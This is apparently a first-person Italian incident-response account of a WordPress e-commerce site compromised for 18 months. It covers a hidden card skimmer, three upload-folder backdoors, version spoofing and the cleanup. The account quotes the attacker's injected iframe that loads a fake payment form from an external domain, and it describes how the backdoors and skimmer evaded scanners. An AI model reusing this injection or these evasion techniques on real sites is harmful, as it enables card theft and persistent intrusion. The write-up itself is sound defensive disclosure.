18 Mesi Dentro il Server
Luca Barbi

Un racconto reale di incident response: backdoor nascoste, form di pagamento falsi, e le lezioni che ogni e-commerce dovrebbe imparare.
La segnalazione
È un mercoledì di aprile e ho la febbre a 39. Grazie, asilo di mio figlio.
Una collaboratrice scrive su Slack:
“Sono spariti PayPal e bonifico come opzione di pagamento. Il form del checkout è diverso.”
Grazie, dio degli sviluppatori.
Al posto dei gateway di pagamento che conosciamo, c’è un form di carta di credito che non dovrebbe essere lì. Bianco, minimale, apparentemente innocuo, ma non è nostro.
Primo pensiero: un plugin si è aggiornato e ha fatto casino. Succede. Indago, trovo del codice JavaScript sospetto iniettato in un plugin legittimo di tipo header/footer, lo rimuovo. Pulisco alcuni file che non mi convincono. Lancio una scansione di sicurezza. Risultato: tutto pulito. Problema risolto.
Torno a sdraiarmi esausto.
A volte (spesso) ritornano
Quattro giorni dopo, la febbre se n’è andata. Al contrario, lo stesso form ricompare. Identico. Questo cambia tutto: non è un plugin corrotto, è qualcuno che ha accesso persistente al server e può rimettere il malware ogni volta che lo rimuovo.
Questa volta vado in profondità.
L’analisi forense
Il form falso
La prima cosa che faccio è isolare esattamente cosa viene iniettato. Nel codice sorgente del checkout trovo un iframe:
<iframe id="pmntgtw"
src="https://assets.[dominio-attaccante].com/forms/squarewhite/"
style="border:none; display:block; min-width:100%; height:29px;"
></iframe>Un form di pagamento fraudolento, caricato da un dominio esterno, sovrapposto al form reale. Il cliente inserisce i dati della carta pensando di pagare mentre i dati vanno all’attaccante.
Lo skimmer nel core
Per capire come viene iniettato, uso un trucco simpatico: sovrascrivo il metodo document.createElement così da intercettare la creazione di iframe e fermarlo col debugger del browser.
Lo stack trace mi porta al file wp-includes/js/wp-util.min.js — un file core di WordPress.
Lo apro e trovo questo incipit:
/*! Inbound Analytics v1.0.0 | (c) 2018 Inbound Now */Ovviamente non è Analytics e il resto del codice è un credit card skimmer completo. Analizzandolo scopro che:
Intercetta tutti i campi di input su ogni pagina del sito in tempo reale
Esfiltra i dati verso un server esterno mascherandosi da callback di Contact Form 7
Carica un secondo payload da remoto (second-stage) per aggiornare il malware dinamicamente
Inietta l’iframe col form di pagamento falso
Offusca tutto con tripla codifica Base64 con inversione delle stringhe
Lavoro professionale. Non è uno script kiddie. Sono il solito fortunello!
Il version spoofing
Provo a verificare l’integrità dei file core con wp core verify-checksums. Non funziona. La versione risulta essere “6.9.4-alp”, una versione che non esiste.
L’attaccante ha alterato wp-includes/version.php per mettere un numero di versione fittizio. Così facendo ha disabilitato lo strumento principale che avrebbe rilevato la modifica ai file core. Stronzo. Ma elegante. Più stronzo che elegante.
Le backdoor
Poi cerco file PHP nella directory uploads. Non dovrebbero essercene e invece ne trovo tre:
File | Data | Funzione |
wp-content/uploads/2023/09/wp-file-processor.php | 29 ottobre 2024 | Autenticazione admin senza credenziali |
wp-content/uploads/nav/nav-renderer.php | 29 aprile 2025 | Copia ridondante della backdoor admin |
wp-content/uploads/temp/block-renderer.php | 29 aprile 2025 | Shell SQL completa con accesso al database |
Sono, inutile dirlo, tre backdoor. La prima è stata installata 18 mesi prima della scoperta.
La backdoor di autenticazione funziona con una chiave che è l’MD5 della data corrente concatenata a “wp” — cambia ogni giorno, rendendo inutili i rilevamenti basati su firme statiche. L’attaccante la chiama da browser, ottiene un cookie di sessione admin, e ha il controllo completo del sito.
La shell SQL è ancora più grave: consente l’esecuzione di qualsiasi query sul database tramite semplici richieste POST, con un’interfaccia web integrata e export CSV. Tutti i dati dei clienti, gli ordini, gli indirizzi, gli hash delle password, accessibili senza autenticazione. Se non bestemmio guarda...
La timeline
Un download del sito che avevo fatto a dicembre 2025 per configurare un nuovo portatile mi ha dato un dato fondamentale: a quella data il file core era ancora integro. Questo ha permesso di restringere la finestra dello skimmer a circa 4 mesi.
L’analisi della distribuzione dei metodi di pagamento ha confermato che il form falso (quello visibile che sostituiva PayPal e bonifico) era stato attivato solo pochi giorni prima della scoperta, perché i volumi di PayPal e bonifico erano normali fino a marzo.
Timeline ricostruita:
Ottobre 2024 → Prima backdoor installata Aprile 2025 → Seconda e terza backdoor (inclusa SQL shell) Dicembre 2025 → Ultima verifica: file core ancora integro Gen-Mar 2026 → Skimmer silenzioso attivo (intercetta input in background) ~Aprile 2026 → Attivazione componente visibile (form carta falso) 9 Aprile 2026 → Segnalazione interna, primo intervento parziale 13 Aprile 2026 → Scoperta completa, rimozione totale, contenimento |
Perché gli strumenti di sicurezza non l’hanno trovato
Il sito aveva Wordfence attivo (firewall + scanner) e SiteGround Site Scanner (scansione giornaliera). Nessuno dei due ha rilevato nulla. Le scansioni del 10, 11 e 13 aprile — dopo il primo intervento — davano tutte “nessun malware trovato.”
L’attaccante ha usato tecniche progettate specificamente per eludere questi strumenti:
File nella directory uploads/ — esclusa dai controlli di integrità dei file core
Nomi che imitano componenti WordPress — nav-renderer, block-renderer, wp-file-processor
Version spoofing — disabilita wp core verify-checksums
Nessuna modifica ai plugin o al tema — invisibile agli scanner che cercano modifiche nei file dei plugin
Chiave di autenticazione rotante — basata sulla data, cambia ogni giorno
Malware mascherato da analytics — copyright fittizio, struttura da libreria legittima
Persistenza multilivello — rimuoverne uno non serve, gli altri rimettono tutto in piedi
La remediation
In sintesi, cosa abbiamo fatto:
Attivazione immediata della manutenzione per bloccare il sito
Rimozione dello skimmer dal file core
Rimozione delle tre backdoor
Ripristino completo dei file core da fonti verificate
Correzione del version spoofing
Verifica integrità con checksum
Cambio di tutte le credenziali (SSH, DB, admin WP, salt)
Reset password forzato per tutti gli utenti
Blocco esecuzione PHP nella directory uploads
Aggiornamento di tutti i componenti
Eliminazione dell’ambiente di staging
Notifica al Garante Privacy
Querela alla Polizia Postale
Comunicazione agli interessati
I numeri
Perimetro | Dati esposti | Interessati | Periodo |
Form carta falso | Numeri carta + CVV | Non determinabile (pochi giorni) | ~Aprile 2026 |
Skimmer silenzioso | Dati anagrafici checkout | ~400 clienti | Dic 2025 — Apr 2026 |
SQL shell | Intero database | ~1.900 clienti | Apr 2025 — Apr 2026 |
Utenti registrati | Hash password | ~3.000 utenti | Apr 2025 — Apr 2026 |
Un dato importante: il form di pagamento reale (Stripe Elements) funziona tramite un iframe protetto dal browser. Il JavaScript malevolo non poteva accedere ai campi dentro quell’iframe. Quindi i dati delle carte sono stati esposti solo attraverso il form falso — che era attivo per pochi giorni — non tramite il collector silenzioso che era attivo da mesi. Questo ha significativamente ridotto il perimetro del danno più grave.
Le lezioni
1. Blocca PHP nella directory uploads
È la singola misura che avrebbe impedito il funzionamento delle tre backdoor. Due righe di .htaccess:
<FilesMatch "\.(?:php|phtml|php[0-9]|phps)$">
Require all denied
</FilesMatch>Non c’è nessun motivo legittimo per eseguire PHP nella directory uploads di WordPress: aggiungilo ora.
2. Gli scanner automatici non bastano
Wordfence e SiteGround Site Scanner non hanno rilevato nulla per 18 mesi. Non perché siano strumenti scadenti, anzi: sono ottimi strumenti, ma operano su regole e pattern conosciuti. Un attaccante che conosce i limiti degli scanner può aggirarli. Servono anche controlli manuali periodici: verifiche di integrità dei file, ricerca di PHP nella uploads, monitoraggio dei file modificati di recente.
3. Il version spoofing è un attacco al tooling
Alterare la versione di WordPress è una mossa geniale dal punto di vista dell’attaccante: non compromette il funzionamento del sito ma disabilita lo strumento che lo scoprirebbe. Se wp core verify-checksums vi dà errori strani sulla versione, non è un bug: è un red flag.
4. La persistenza multilivello vince quasi sempre
La prima volta che sono intervenuto, ho rimosso il plugin compromesso e dei file sospetti. Non è bastato perché l’attaccante aveva lo skimmer nel file core, le backdoor nella uploads e il version spoofing come protezione. Rimuoverne uno o due non serve. Serve la remediation completa: file core da fonti verificate, scan della uploads, cambio di tutte le credenziali, verifica checksums.
5. Conservate sempre i backup locali
Un download del sito fatto mesi prima per motivi completamente diversi (configurazione di un nuovo laptop) si è rivelato l’evidenza chiave che ha permesso di restringere la finestra dello skimmer da 18 mesi a 4. Senza quello, il perimetro stimato degli interessati sarebbe stato molto più ampio.
6. La Content Security Policy è il vostro airbag
Se avessimo avuto una CSP che limitava i domini da cui potevano essere caricati iframe e script, l’iframe del form falso non avrebbe funzionato. La CSP non previene l’intrusione, ma limita drasticamente i danni.
7. Il GDPR non è burocrazia, è un piano di risposta
Quando abbiamo scoperto la compromissione, il GDPR ci ha dato una struttura: 72 ore per notificare il Garante, comunicazione agli interessati, documentazione delle evidenze, misure di contenimento. Senza quel framework, la risposta sarebbe stata caotica. Con quel framework, in 72 ore avevamo: analisi forense completa, sito messo in sicurezza, notifica al Garante inviata, querela presentata, comunicazione ai clienti preparata.
Conclusione
L’attaccante era dentro da 18 mesi. Aveva accesso admin, accesso al database, e un malware nel core di WordPress che nessuno strumento automatico ha rilevato. La scoperta è avvenuta per un dettaglio visivo: il form di pagamento era diverso dal solito. Una collaboratrice l’ha notato e ha scritto su Slack.
A volte la sicurezza non è fatta di WAF e scanner, è fatta di persone attente che notano i dettagli.
